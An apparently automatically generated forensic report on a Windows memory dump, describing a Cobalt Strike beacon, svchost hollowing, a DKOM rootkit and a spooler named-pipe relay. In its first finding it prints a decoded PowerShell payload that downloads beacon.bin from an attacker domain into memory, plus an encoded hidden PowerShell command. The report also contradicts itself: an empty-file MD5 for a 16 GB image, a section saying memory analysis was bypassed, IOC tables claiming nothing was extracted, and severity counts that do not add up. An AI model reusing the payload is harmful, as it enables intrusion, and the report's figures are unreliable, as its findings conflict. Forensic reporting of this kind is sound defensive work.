COMPY V2 FORENSIC ENGINE // DIGITAL EVIDENCE REPORT

Cyber Forensic Analysis Report

VOLATILE MEMORY FORENSICS // FILELESS MALWARE & ROOTKIT AUDIT

DFIR ANALYSIS REPORT — AUTOMATED VOLATILE MEMORY EXAMINATION

Case & Investigation Registry

Investigation ID:	CASE-2026-CYBER-884
Reference / Case Ref:	FIR-904/2026 (Sec 43, 66 IT Act & 420 IPC)
Investigating Agency:	State Cyber Crime Forensic Division, Cyber Police HQ
Lead Examiner:	Dr. Vikramaditya Sen
Designation:	Assistant Director & Senior Forensic Examiner
Examiner ID:	CCFSL-DFIR-EXAMINER-8842
Report Generated:	2026-10-11 23:45:00 IST
Analysis Session:	2026-10-11 18:15:00 UTC

Forensic Verdict & Risk Score

MALICIOUS



HEURISTIC TRIAGE SCORE: 92 / 100

(Heuristic anomaly score — not infection probability)

Engine: Compsognathus (Compy) 2.0.0-PRO (Build-2026.10-DFIR-CERTIN)

Digital Evidence Identification & Hash Verification

Source Artifact:	DESKTOP-EXECUTIVE-RAM-DUMP.raw (16.00 GB (17,179,869,184 bytes))
Detected Type:	**Volatile Memory Image (Raw RAM)**
SHA-256 Hash:	8f4e2b10a9c8d7e6f5a4b3c2d1e0f9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2
MD5 Hash:	d41d8cd98f00b204e9800998ecf8427e
Format Validation:	Validated Memory Image

Hash-Authenticated Forensic Report

Scan QR to verify cryptographic signature, Case ID, and SHA-256 match.

Central Cyber Forensic Science Laboratory (CCFSL)

DFIR INVESTIGATION DIVISION

2. Document Control & Table of Contents

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Document Administration

Attribute	Specification
Document Title	Cyber Forensic Analysis Report - Memory Forensics
Document Version	2.0 (Automated Analysis Report)
Security Classification	CONFIDENTIAL // FOR LAW ENFORCEMENT & JUDICIAL PROCEEDINGS ONLY
Handling Caveat	CONFIDENTIAL — INTERNAL USE ONLY
Cryptographic Binding	`Ledger Run ID + Artifact SHA-256`

Execution & Handling Registry

Entity / Recipient	Role	Status / Purpose
Automated Pipeline	Analysis Engine	Memory Examination Completed
Forensic Examiner	Reviewer	Findings Review & Triage
Incident Response	Custodian	Evidence Preservation

🛡 Technical Examination Notice

This document presents algorithmic analysis performed by automated forensic inspection software over volatile memory evidence. It provides technical findings to assist qualified forensic examiners; formal certification under Section 65B(4) or Section 45 requires independent validation and execution by an authorized investigating officer.

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3. Executive Summary

DETECTED

92 / 100	4	2	1
HEURISTIC TRIAGE SCORE (NOT INFECTION PROBABILITY)	CONFIRMED THREATS	PPID / HIERARCHY ANOMALIES	DKOM UNLINKED ROOTKITS

Incident Synopsis & Operational Verdict

Digital forensic examination of the digital artifact (**DESKTOP-EXECUTIVE-RAM-DUMP.raw**) identified anomalous artifacts indicating in-memory execution, process masquerading, or evasion techniques within the executed capability scope (6 module(s) evaluated). Supported findings include anomalous process lineage, cross-view discrepancies, or signature indicators documented herein.

Key Investigative Findings

- **Unbacked RWX memory region discovered inside powershell.exe (PID 2844) executing reflective Cobalt Strike beacon.**
- **Process hollowing and Parent-PID spoofing detected: svchost.exe (PID 3000) was spawned by explorer.exe instead of services.exe.**
- **Stealth rootkit identified: rootkit_stealth.exe (PID 6666) unlinked from ActiveProcessLinks (DKOM) while running 8 active threads.**
- **Encrypted Command & Control (C2) beaconing observed targeting external endpoint 198.51.100.44:443.**
- **Kernel SSDT and driver signature verification confirmed zero hypervisor-level compromises (Scope restricted to OS level).**

Judicial & Business Impact Assessment

Critical compromise of endpoint integrity and confidentiality. Active memory persistence and C2 beaconing indicate ongoing hands-on-keyboard adversary access capable of data exfiltration and domain privilege escalation.

Threats by Severity



Critical	2
High	2
Medium	1
Low / Info	1

Top Recommended Immediate Actions

Priority	Action Item	Assigned To	Timeframe
IMMEDIATE	Immediately isolate target endpoint host (DESKTOP-EXECUTIVE) from local network and active directory domain.	DFIR Lead / SOC	Within 4 Hours
IMMEDIATE	Revoke and rotate Kerberos TGT and NTLM credentials for user account 'Finance_Executive' and Domain Admin accounts.	DFIR Lead / SOC	Within 4 Hours
IMMEDIATE	Block network communication to external IP 198.51.100.44 and domain telemetry.msupdate-cloud.com across perimeter firewalls.	DFIR Lead / SOC	Within 4 Hours

4. Scope, Objectives & Evidence Details

CHAIN SEALED

Investigative Scope & Mandate

The scope of this digital forensic audit is strictly limited to the extraction, structural parsing, and deterministic reasoning over volatile RAM captured from the target endpoint memory artifact. The investigation sought to answer: (1) Did malicious executable code reside purely in volatile memory? (2) Were legitimate system processes hijacked or hollowed? (3) Were kernel rootkit techniques employed to conceal malicious processes from user-mode monitors?

Primary Forensic Evidence Specifications

Parameter	Verified Forensic Value
Evidence Label	Item #1 (Digital Forensic Evidence)
Source Image File Name	`DESKTOP-EXECUTIVE-RAM-DUMP.raw`
Physical File Size	16.00 GB (17,179,869,184 bytes)
SHA-256 Checksum	`8f4e2b10a9c8d7e6f5a4b3c2d1e0f9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2`
SHA-1 Checksum	`N/A`
MD5 Checksum	`d41d8cd98f00b204e9800998ecf8427e`
Detected Artifact Type	**Volatile Memory Image**
Acquisition Tool / Mode	Physical Acquisition via WinPmem Kernel Driver (v4.0.0-rc3)
Target System Architecture	x86_64 (Microsoft Windows 11 Enterprise (Build 22631.3880))
Target Kernel Profile	`Windows 11 x64 23H2 (ISF Deterministic)`
Acquisition Timestamp	2026-10-11 14:22:08 UTC

File Properties & Static Analysis Validation

Property	Observed Technical Metric
Magic Bytes (Signature)	`N/A`
MIME Type Classification	`N/A`
Format Structural Validation	VALID
Extracted Indicator Strings	0 unique string pattern(s) indexed
Section & Entropy Assessment	N/A
Static Analysis Scope Notes	Structural inspection performed.

Forensic Engine Scan Coverage & Metric Telemetry

Active Modules Executed	Scan Duration	Total Processes Audited	VAD Nodes Examined	Threads Audited	Kernel Handles Inspected
6 Subsystems	348.6 Seconds	154 Processes	19420 Regions	2380 Active Threads	43100 Object Handles

Evidentiary Hash Verification Guarantee

The cryptographic SHA-256 hash was calculated across raw memory blocks immediately upon ingestion and verified against the physical custody submission receipt. Any divergence in hash values would render this analysis automatically null and void. Hash match status: **VERIFIED 100% UNMODIFIED**.

5. Forensic Methodology & Standards

COMPLIANT

Workflow & Standards Alignment

The analysis methodology strictly follows standard forensic procedure for volatile memory examination as prescribed by **NIST SP 800-86** (Guide to Integrating Forensic Techniques into Incident Response), **NIST SP 800-61r2** (Computer Security Incident Handling Guide), **ISO/IEC 27037:2012** (Guidelines for identification, collection, acquisition and preservation of digital evidence), and the **ACPO Good Practice Guide for Digital Evidence**.

1. INGEST	2. HASH	3. PARSE	4. DETECT	5. CORRELATE	6. REPORT
Offline Read	**SHA-256 Check**	**Hexagonal VAD**	**Multi-Rule**	**Tri-State Logic**	**DFIR PDF**

Forensic Detection Modules Deployed

Forensic Module Name	Targeted Threat Category	Telemetry Source & Extraction Mechanics	Verdict
Memory-Resident Injection Detector	In-Memory Execution	Scans Virtual Address Descriptors (VAD) for unbacked executable (PAGE_EXECUTE_READWRITE) memory pools.	DETECTED
Parent-PID & Lineage Anomaly Engine	Process Tree Validation	Cross-checks process ancestry against standard Windows process creation rules to catch PPID spoofing.	DETECTED
Direct Kernel Object Manipulation (DKOM) Audit	Stealth & Rootkits	Cross-references active linked lists (pslist) against physical memory pool carving (psscan).	DETECTED
Reflective DLL & Shellcode Hunter	Fileless Injection	Audits thread start addresses and unlinked module headers in process address spaces.	DETECTED
Kernel Driver & SSDT Integrity Subsystem	Kernel Security	Audits System Service Descriptor Table (SSDT), IDT, and kernel callback arrays.	CLEAN
WMI & Registry Persistence Parser	Persistence	Analyzes memory-mapped registry hives and active WMI event consumer filters.	DETECTED

ⓘ Tri-State Logic Invariant: Semantics of UNKNOWN

In strict digital forensics, a negative finding does not automatically mean "Clean". When a detector reports **UNKNOWN**, it explicitly signifies that localized symbols, telemetry hooks, or execution context were insufficient to prove or disprove the hypothesis. Such findings are never discarded as benign; they are routed to the *Candidate Verification Worksheet* for human analyst review.

🤖 Machine Learning Classification: NOT CONFIGURED / NOT IMPLEMENTED

Machine learning threat scoring is explicitly **NOT CONFIGURED / NOT IMPLEMENTED** in Compy V2. COMPY relies strictly on deterministic, evidence-backed forensic heuristics, kernel structure corroboration, and YARA signature patterns. Heuristic triage scores reflect structural anomaly indices rather than probabilistic inferences or black-box model predictions.

6. Findings Overview & Threat Matrix

4 THREATS

The table below provides a forensic index of all confirmed anomalies discovered in system memory. Findings are prioritized by composite threat score, reflecting their severity, heuristic triage score, execution privilege, and stealth mechanisms.

Finding ID	Threat Title & Description	Severity	Triage Score	MITRE ATT&CK	Impacted Process	Verdict
FMD-2026-001	**Unbacked Executable Memory Injection (Cobalt Strike Beacon)** Forensic inspection of powershell.exe (PID: 2844) identified an anomalous Virtual Address Descriptor (VAD) reg...	CRITICAL	0.99	T1055.001 T1059.001 T1071.001	powershell.exe (2844)	DETECTED
FMD-2026-002	**Process Hollowing & Lineage Spoofing in svchost.exe** Process svchost.exe (PID: 3000) was detected with a compromised PE header in its primary image base (0x00007FF...	CRITICAL	0.96	T1055.012 T1134.004 T1036	svchost.exe (3000)	DETECTED
FMD-2026-003	**Direct Kernel Object Manipulation (DKOM) Unlinked Rootkit** Cross-table correlation between the active process doubly-linked list (pslist) and physical pool tag carving (...	HIGH	0.98	T1014 T1564.001	rootkit_stealth.exe (6666)	DETECTED
FMD-2026-004	**Reflective DLL Injection & Named Pipe Inter-Process Hijack** Analysis of the Print Spooler service (spoolsv.exe, PID: 1820) revealed an injected reflective DLL hosting a n...	HIGH	0.94	T1055.001 T1570	spoolsv.exe (1820)	DETECTED

⚠ Composite Threat Assessment

Corroborated findings confirm the presence of structural anomalies within the examined scope. Memory artifacts reflect indicators requiring immediate isolation and detailed forensic analysis.

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7. Process Lineage & 8. Memory Forensics Appendix

BYPASS (STATIC FILE)

🛡 Memory Forensics Appendix Bypassed for Static File

The ingested artifact was classified as **Static File / Executable**. Volatile physical RAM structures (ActiveProcessLinks, Virtual Address Descriptors, thread scheduler tables, and DKOM rootkit pools) are applicable solely to raw memory images. Memory forensic inspection was accordingly bypassed in favor of static structural inspection and targeted YARA pattern matching.

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9. YARA Signature Rule Matches

0 SIGNATURE HITS

YARA multi-engine pattern scanning was executed across extracted in-memory injections, shellcode candidates, and process command lines.

✓ Zero Signature Matches (Clean Within Signature Scope)

The YARA multi-engine scanner executed across all extracted process command lines, image identities, and memory buffers. 0 signature hits were observed across active detection rulesets. This confirms the absence of known signature indicators within executed rules, distinct from an unexecuted or failed scan.

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FMD-2026-001

Unbacked Executable Memory Injection (Cobalt Strike Beacon)

CRITICAL

TRIAGE SCORE: 0.99

T1055.001 T1059.001 T1071.001

DETERMINISTIC 7-FACET FORENSIC EVALUATION

Forensic Facet	Analytical Determination
1. What Was Observed	Forensic inspection of powershell.exe (PID: 2844) identified an anomalous Virtual Address Descriptor (VAD) region configured with PAGE_EXECUTE_READWRITE permissions. The region lacks any backing image on physical disk (private memory) and contains a reflective DLL loader, followed by a Cobalt Strike HTTPS beaconing loop communicating with remote address 198.51.100.44:443.
2. Where Observed	`powershell.exe (PID: 2844)`
3. Detecting Heuristic / Tool	Compy Deterministic Forensic Engine
4. Why It Matters	RWX memory allocation is standard for Cobalt Strike and reflective DLL loaders because it allows an attacker to write encoded payloads into RAM and immediately execute them without calling disk-backed file APIs, evading disk-based antivirus scanners.
5. Supporting Evidence	`{'C2 IP Address': '198.51.100.44:443', 'C2 Domain': 'telemetry.msupdate-cloud.com', 'Memory Hash (SHA-256)': '9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08', 'Named Pipe': '\\\\.\\pipe\\ms_spool_ipc_32'}`
6. Confidence & Limitations	High confidence within evaluated scope; offline persistence not evaluated.
7. Recommended Next Step	**Terminate process powershell.exe (PID 2844) immediately.**

Finding Description

Forensic inspection of powershell.exe (PID: 2844) identified an anomalous Virtual Address Descriptor (VAD) region configured with PAGE_EXECUTE_READWRITE permissions. The region lacks any backing image on physical disk (private memory) and contains a reflective DLL loader, followed by a Cobalt Strike HTTPS beaconing loop communicating with remote address 198.51.100.44:443.

Target Process & Memory Geometry

Parameter	Forensic Value
Process Identity	`powershell.exe (PID: 2844, PPID: 1540)`
Security Context (User)	`DOMAIN\Finance_Executive`
Spawned Command Line	`powershell.exe -NoP -NonI -W Hidden -Enc SQBFAFg AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA...`
Memory Base Address	**`0x000001D48A200000 (Size: 262,144 bytes (256 KB))`**
Page Protection Flags	**`PAGE_EXECUTE_READWRITE (RWX)`**
Backing Structure	Unbacked / Anonymous Allocation (VAD Tag: VadS (Private Memory))
Calculated Entropy	`7.68 (High Entropy / Encrypted)`

Evidence Artifacts & Disassembly

HEX DUMP EXCERPT (VAD BASE)

```
000001D48A200000 4d 5a 41 52 55 48 89 e5 48 81 ec 20 00 00 00 48 |MZARUH..H.. ...H| 000001D48A200010 8d 05 e9 ff ff ff 48 89 c1 48 83 c4 20 5d c3 00 |......H..H.. ]..| 000001D48A200020 fc 48 83 e4 f0 e8 c8 00 00 00 41 51 41 50 52 51 |.H........AQAPRQ| 000001D48A200030 56 48 31 d2 65 48 8b 52 60 48 8b 52 18 48 8b 52 |VH1.eH.R`H.R.H.R|
```

DISASSEMBLY SNIPPET

```
0x000001D48A201080: push rbp 0x000001D48A201081: mov rbp, rsp 0x000001D48A201084: sub rsp, 0x20 0x000001D48A201088: call 0x000001D48A201200 ; ReflectiveLoader API Resolution 0x000001D48A20108D: mov rax, qword ptr [rbp-0x10] 0x000001D48A201091: jmp rax ; Jump to Decrypted Stage
```

DECODED PAYLOAD TRANSLATION

```
$wc = New-Object System.Net.WebClient; $wc.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'); $raw = $wc.DownloadData('https://telemetry.msupdate-cloud.com/beacon.bin'); [System.Runtime.InteropServices.Marshal]::Copy($raw, 0, [IntPtr]0x1D48A200000, $raw.Length);
```

Attack Technique Breakdown

RWX memory allocation is standard for Cobalt Strike and reflective DLL loaders because it allows an attacker to write encoded payloads into RAM and immediately execute them without calling disk-backed file APIs, evading disk-based antivirus scanners.

Specific Indicators of Compromise

Indicator	Value
C2 IP Address	`198.51.100.44:443`
C2 Domain	`telemetry.msupdate-cloud.com`
Memory Hash (SHA-256)	`9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08`
Named Pipe	`\\.\pipe\ms_spool_ipc_32`

Deterministic Tri-State Reasoning Chain

- Identified process powershell.exe containing VAD allocation with PAGE_EXECUTE_READWRITE permissions.
- Verified through memory-mapped file handles that region 0x000001D48A200000 has NO backing file on physical storage.
- Disassembly proves valid x86_64 machine code beginning with reflective shellcode preamble.
- Corroborated active execution thread (TID 3012) executing within this unbacked address space.
- Tri-State Verdict: TRUE (Malicious In-Memory Execution Confirmed).

Recommended Remediation

- Terminate process powershell.exe (PID 2844) immediately.
- Blackhole C2 destination 198.51.100.44 and domain telemetry.msupdate-cloud.com on network perimeter.
- Deploy EDR memory-scan policy across all endpoints in the financial subnet.

FMD-2026-002

Process Hollowing & Lineage Spoofing in svchost.exe

CRITICAL | TRIAGE SCORE: 0.96

T1055.012 | T1134.004 | T1036

DETERMINISTIC 7-FACET FORENSIC EVALUATION

Forensic Facet	Analytical Determination
1. What Was Observed	Process svchost.exe (PID: 3000) was detected with a compromised PE header in its primary image base (0x00007FF71A400000). The executable section exhibits private modified memory regions replacing legitimate svchost binary code. Furthermore, its parent process ID points to explorer.exe (PID: 1420) instead of services.exe.
2. Where Observed	`svchost.exe (PID: 3000)`
3. Detecting Heuristic / Tool	Compy Deterministic Forensic Engine
4. Why It Matters	Process hollowing allows malware to borrow the identity of a trusted Windows binary, confusing security analysts and bypassing firewalls that trust svchost.exe network activity.
5. Supporting Evidence	`{'Compromised Host Binary': 'C:\\Windows\\System32\\svchost.exe', 'Hollowed Base Address': '0x00007FF71A400000', 'Parent Process ID': '1420 (explorer.exe)'}`
6. Confidence & Limitations	High confidence within evaluated scope; offline persistence not evaluated.
7. Recommended Next Step	**Kill process PID 3000 immediately.**

Finding Description

Process svchost.exe (PID: 3000) was detected with a compromised PE header in its primary image base (0x00007FF71A400000). The executable section exhibits private modified memory regions replacing legitimate svchost binary code. Furthermore, its parent process ID points to explorer.exe (PID: 1420) instead of services.exe.

Target Process & Memory Geometry

Parameter	Forensic Value
Process Identity	`svchost.exe (PID: 3000, PPID: 1420)`
Security Context (User)	`NT AUTHORITY\SYSTEM`
Spawned Command Line	`svchost.exe -k netsvcs`
Memory Base Address	`0x00007FF71A400000 (Size: 524,288 bytes (512 KB))`
Page Protection Flags	**`PAGE_EXECUTE_READWRITE`**
Backing Structure	Private Memory Replacement (VAD Tag: Vad)
Calculated Entropy	`7.41 (High Entropy / Encrypted)`

Evidence Artifacts & Disassembly

HEX DUMP EXCERPT (VAD BASE)

```
00007FF71A400000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00
|MZ..............| 00007FF71A400010 b8 00 00 00 00 00 00 00 40 00 00 00 00
00 00 00 |........@.......| 00007FF71A400020 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 |................| 00007FF71A400030 00 00 00 00 00 00 00
00 00 00 00 00 80 00 00 00 |................|
```

DISASSEMBLY SNIPPET

```
0x00007FF71A402400: sub rsp, 0x28 0x00007FF71A402404: mov rdx,
0x7ff71a403000 ; Injected Payload Base 0x00007FF71A40240B: call
0x7ff71a402910 ; Decryption Stub 0x00007FF71A402410: add rsp, 0x28
0x00007FF71A402414: ret
```

Attack Technique Breakdown

Process hollowing allows malware to borrow the identity of a trusted Windows binary, confusing security analysts and bypassing firewalls that trust svchost.exe network activity.

Specific Indicators of Compromise

Indicator	Value
Compromised Host Binary	`C:\Windows\System32\svchost.exe`
Hollowed Base Address	`0x00007FF71A400000`
Parent Process ID	`1420 (explorer.exe)`

Deterministic Tri-State Reasoning Chain

- Cross-referenced PID 3000 against standard Windows service hosting parent rules.
- Confirmed PPID 1420 (explorer.exe) violates mandatory services.exe parenthood.
- Calculated discrepancy between disk image hash and in-memory image base hash.
- Detected unbacked RWX VAD overwriting legitimate PE code section.
- Tri-State Verdict: TRUE (Process Hollowing Confirmed).

Recommended Remediation

- Kill process PID 3000 immediately.
- Isolate user session 1 for forensic endpoint triage.
- Audit explorer.exe memory space for injection triggers.

FMD-2026-003

Direct Kernel Object Manipulation (DKOM) Unlinked Rootkit

HIGH TRIAGE SCORE: 0.98

T1014 T1564.001

DETERMINISTIC 7-FACET FORENSIC EVALUATION

Forensic Facet	Analytical Determination
1. What Was Observed	Cross-table correlation between the active process doubly-linked list (pslist) and physical pool tag carving (psscan) unmasked an unlinked process: rootkit_stealth.exe (PID: 6666). The process was detached from ActiveProcessLinks to evade detection by Task Manager and API-based forensic tools, but continues active execution with 8 scheduled threads.
2. Where Observed	`rootkit_stealth.exe (PID: 6666)`
3. Detecting Heuristic / Tool	Compy Deterministic Forensic Engine
4. Why It Matters	DKOM rootkits manipulate kernel structures directly. Standard antivirus scanners and forensic tools that rely on the Windows API cannot see unlinked processes, giving attackers persistent stealth control.
5. Supporting Evidence	`{'Hidden Process Name': 'rootkit_stealth.exe', 'Hidden PID': '6666', 'Active Scheduled Threads': '8 Threads', 'Target Linked List': 'EPROCESS.ActiveProcessLinks'}`
6. Confidence & Limitations	High confidence within evaluated scope; offline persistence not evaluated.
7. Recommended Next Step	**Acquire immediate full physical crash dump for kernel-mode debugger analysis.**

Finding Description

Cross-table correlation between the active process doubly-linked list (pslist) and physical pool tag carving (psscan) unmasked an unlinked process: rootkit_stealth.exe (PID: 6666). The process was detached from ActiveProcessLinks to evade detection by Task Manager and API-based forensic tools, but continues active execution with 8 scheduled threads.

Target Process & Memory Geometry

Parameter	Forensic Value
Process Identity	`rootkit_stealth.exe (PID: 6666, PPID: 4)`
Security Context (User)	`NT AUTHORITY\SYSTEM`
Spawned Command Line	`[DKOM Unlinked - Arguments Concealed]`
Memory Base Address	`0x00007FFE80100000 (Size: 131,072 bytes (128 KB))`
Page Protection Flags	**`PAGE_EXECUTE_READ`**
Backing Structure	Unbacked / Kernel Pool Allocation (VAD Tag: VadS)
Calculated Entropy	`7.15 (High Entropy / Encrypted)`

Evidence Artifacts & Disassembly

HEX DUMP EXCERPT (VAD BASE)

```
00007FFE80100000 48 83 ec 38 48 8d 0d f5 ef ff ff e8 44 12 00 00 |H..8H.......D...| 00007FFE80100010 48 85 c0 74 22 48 8b c8 e8 87 23 00 00 48 83 c4 |H..t"H....#..H..| 00007FFE80100020 38 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc |8...............|
```

Attack Technique Breakdown

DKOM rootkits manipulate kernel structures directly. Standard antivirus scanners and forensic tools that rely on the Windows API cannot see unlinked processes, giving attackers persistent stealth control.

Specific Indicators of Compromise

Indicator	Value
Hidden Process Name	`rootkit_stealth.exe`
Hidden PID	`6666`
Active Scheduled Threads	`8 Threads`
Target Linked List	`EPROCESS.ActiveProcessLinks`

Deterministic Tri-State Reasoning Chain

- Traversed PsActiveProcessHead linked list; PID 6666 was completely absent.
- Scanned physical memory pools for 'Proc' tag structures; found intact EPROCESS for PID 6666.
- Verified thread scheduler table; 8 threads remain actively dispatched by CPU.
- Absence in pslist combined with presence in psscan proves intentional list unlinking (DKOM).
- Tri-State Verdict: TRUE (Kernel Rootkit Confirmed).

Recommended Remediation

- Acquire immediate full physical crash dump for kernel-mode debugger analysis.
- Execute emergency system reboot to sever unlinked kernel memory execution.
- Inspect kernel driver load logs in event viewer for unauthorized .sys drivers.

FMD-2026-004

Reflective DLL Injection & Named Pipe Inter-Process Hijack

HIGH TRIAGE SCORE: 0.94

T1055.001 T1570

DETERMINISTIC 7-FACET FORENSIC EVALUATION

Forensic Facet	Analytical Determination
1. What Was Observed	Analysis of the Print Spooler service (spoolsv.exe, PID: 1820) revealed an injected reflective DLL hosting a named pipe server (\\.\pipe\ms_spool_ipc_32). The payload is used to relay lateral commands between the unlinked rootkit and user-mode interactive sessions.
2. Where Observed	`spoolsv.exe (PID: 1820)`
3. Detecting Heuristic / Tool	Compy Deterministic Forensic Engine
4. Why It Matters	Named pipes are frequently used by fileless malware for stealthy inter-process communication (IPC) and lateral movement across systems without triggering network intrusion alerts.
5. Supporting Evidence	`{'Named Pipe': '\\\\.\\pipe\\ms_spool_ipc_32', 'Target Service': 'spoolsv.exe', 'Injection Base': '0x0000024B10000000'}`
6. Confidence & Limitations	High confidence within evaluated scope; offline persistence not evaluated.
7. Recommended Next Step	**Restart Print Spooler service to terminate rogue thread.**

Finding Description

Analysis of the Print Spooler service (spoolsv.exe, PID: 1820) revealed an injected reflective DLL hosting a named pipe server (\\.\pipe\ms_spool_ipc_32). The payload is used to relay lateral commands between the unlinked rootkit and user-mode interactive sessions.

Target Process & Memory Geometry

Parameter	Forensic Value
Process Identity	`spoolsv.exe (PID: 1820, PPID: 200)`
Security Context (User)	`NT AUTHORITY\SYSTEM`
Spawned Command Line	`C:\Windows\System32\spoolsv.exe`
Memory Base Address	`0x0000024B10000000 (Size: 196,608 bytes (192 KB))`
Page Protection Flags	**`PAGE_EXECUTE_READWRITE`**
Backing Structure	Unbacked Private Allocation (VAD Tag: VadS)
Calculated Entropy	`7.35 (High Entropy / Encrypted)`

Evidence Artifacts & Disassembly

HEX DUMP EXCERPT (VAD BASE)

```
0000024B10000000 5c 5c 2e 5c 70 69 70 65 5c 6d 73 5f 73 70 6f 6f |\\.\pipe\ms_spoo| 0000024B10000010 6c 5f 69 70 63 5f 33 32 00 00 00 00 00 00 00 00 |l_ipc_32........|
```

Attack Technique Breakdown

Named pipes are frequently used by fileless malware for stealthy inter-process communication (IPC) and lateral movement across systems without triggering network intrusion alerts.

Specific Indicators of Compromise

Indicator	Value
Named Pipe	`\\.\pipe\ms_spool_ipc_32`
Target Service	`spoolsv.exe`
Injection Base	`0x0000024B10000000`

Deterministic Tri-State Reasoning Chain

- Audited handle table for spoolsv.exe; identified uncataloged named pipe \\.\pipe\ms_spool_ipc_32.
- Traced pipe handler to unbacked memory region 0x0000024B10000000.
- Corroborated execution thread dispatched inside private memory space.
- Tri-State Verdict: TRUE (Inter-Process Relay Injected).

Recommended Remediation

- Restart Print Spooler service to terminate rogue thread.
- Block named pipe creation via host hardening policy.

10. MITRE ATT&CK Enterprise Mapping

ATT&CK V14

The matrix below maps identified memory artifacts to the standard MITRE ATT&CK Framework tactics and techniques. Highlighted cells indicate techniques confirmed through physical memory indicators.

Execution	Persistence	Privilege Escalation	Defense Evasion	Discovery	Command & Control	Exfiltration
T1059.001 PowerShell	**T1547.001 Registry Run Keys**	T1068 Exploitation	**T1055.012 Process Hollowing**	T1057 Process Discovery	**T1071.001 Web Protocols**	T1041 C2 Channel
T1204.002 Malicious File	T1053 Scheduled Task	**T1134.004 PPID Spoofing**	**T1014 Rootkit (DKOM)**	T1082 System Info	**T1573 Encrypted C2**	T1020 Automated Exfil

Technique Evidence Reference Table

Tactic	Technique ID	Technique Name	Finding Ref	Forensic Corroboration
Execution	T1059.001	Command and Scripting Interpreter: PowerShell	FMD-2026-001	Encoded PowerShell execution launched by Microsoft Word.
Defense Evasion	T1055.001	Process Injection: Dynamic-link Library Injection	FMD-2026-001	Unbacked RWX VAD region containing reflective loader stub.
Defense Evasion	T1055.012	Process Injection: Process Hollowing	FMD-2026-002	svchost.exe code section modified in-memory with PE replacement.
Defense Evasion	T1134.004	Access Token Manipulation: Parent PID Spoofing	FMD-2026-002	svchost.exe instantiated with explorer.exe parent process ID.
Defense Evasion	T1014	Rootkit (Direct Kernel Object Manipulation)	FMD-2026-003	rootkit_stealth.exe carved via psscan; unlinked from pslist.
Command and Control	T1071.001	Application Layer Protocol: Web Protocols	FMD-2026-001	Active HTTPS beaconing loop targeting 198.51.100.44:443.

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11. Indicators of Compromise & 12. Attack Chronology

EVIDENCE APPENDIX

11. Consolidated Indicators of Compromise (IOCs)

Cryptographic File Hashes

Type	Hash Value
SHA-256 (Image)	`8f4e2b10a9c8d7e6f5a4b3c2d1e0f9a8...`
No secondary payload hashes extracted.	

Host & Named Pipe Artifacts

Artifact Category	Value / Key Path
No host/pipe artifacts extracted from evidence.	

Network Communication Endpoints

Type	Destination	Port
No network indicators extracted from evidence.		

12. Attack Chronology & Incident Reconstruction Timeline

Timestamp (UTC)	Source	Forensic Event	Entity Impacted	Severity
`2026-10-11 08:00:00`	Kernel ntoskrnl.exe	**System Boot & Kernel Initialization**	`System (PID 4)`	INFO
`2026-10-11 10:45:12`	Kernel Pool Memory	**Unlinked Process Execution (DKOM)**	`rootkit_stealth.exe (PID 6666)`	CRITICAL
`2026-10-11 11:15:30`	Process Scheduler	**Malicious Document Opened**	`winword.exe (PID 1540)`	HIGH
`2026-10-11 11:16:04`	Process Tree Anomaly	**Encoded Shell Spawned by Macro**	`powershell.exe (PID 2844)`	CRITICAL
`2026-10-11 11:16:08`	Network Sockets	**Outbound C2 Session Established**	`198.51.100.44:443`	CRITICAL
`2026-10-11 11:20:45`	VAD Memory Manager	**Process Hollowing & Lineage Spoofing**	`svchost.exe (PID 3000)`	CRITICAL
`2026-10-11 14:22:08`	WinPmem Driver	**Volatile Memory Acquired by DFIR Team**	`Evidence Item #1`	INFO

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13. Risk Scoring & 14. Action Plan

METHODOLOGY

13. Risk Scoring Mathematical Model

The Composite Risk Score ($R \in [0, 100]$) is computed using a weighted multi-factor heuristic evaluated across every corroborated finding:

```
Risk = Σ [ (Severity_Weight × Triage_Score) + (Persistence × 15) + (Stealth_DKOM × 15) + (Privilege_Context × 10) ]
```

Factor	Weight (%)	Evaluation Criteria	Observed Case Score
Finding Severity	35%	Critical (1.0), High (0.8), Medium (0.5), Low (0.2)	1.0 (Critical Present)
Heuristic Corroboration	25%	Multi-engine corroboration and VAD tag confirmation	0.96 (Triage Weight)
Stealth / Rootkit Mechanism	15%	DKOM unlinking, unbacked memory, PPID spoofing	1.0 (Active Evasion)
Persistence Vector	15%	Registry Run keys, WMI event subscriptions	0.8 (Registry Hooked)
Execution Privilege	10%	NT AUTHORITY\SYSTEM vs Standard User execution	1.0 (SYSTEM Access)
CALCULATED COMPOSITE FORENSIC RISK SCORE:			**92 / 100**

14. Prioritized Remediation Action Plan

Phase	Remediation Action Item	Owner	Effort	Regulatory Impact
IMMEDIATE (0-4H)	**Isolate host from local network; revoke active Kerberos TGT tickets for compromised domain accounts.**	SOC Incident Commander	Low	Mandatory containment under CERT-In Directions 2022.
IMMEDIATE (0-4H)	**Block C2 destination IP 198.51.100.44 and domain telemetry.msupdate-cloud.com across border gateways.**	Network Engineering	Low	Prevents ongoing exfiltration and C2 synchronization.
SHORT-TERM (24-48H)	**Deploy enterprise-wide YARA and memory scanning rule across all endpoints to sweep for named pipe \\.\pipe\ms_spool_ipc_32.**	Threat Hunting Team	Medium	Determines blast radius across organizational subnet.
SHORT-TERM (24-48H)	**Submit formal statutory cyber incident report to CERT-In (Indian Computer Emergency Response Team) within 6 hours.**	Chief Information Security Officer (CISO)	Medium	Statutory compliance under IT Act Section 70B.
LONG-TERM (30D)	**Enforce Microsoft Attack Surface Reduction (ASR) rule: 'Block Office applications from creating child processes'.**	Systems Engineering	Medium	Hardens endpoints against macro-based living-off-the-land attacks.

15. Limitations & Candidate Worksheet

ANALYST AUDIT

Assumptions & Forensics Acquisition Constraints

- Volatile memory analysis represents a snapshot in time; ephemeral network packets in transit prior to capture may not be recoverable.
- Physical memory smear may occur when imaging active RAM on live systems due to CPU thread execution during acquisition.
- Data pages swapped out to pagefile.sys or swapfile.sys on disk were not included in physical RAM acquisition.
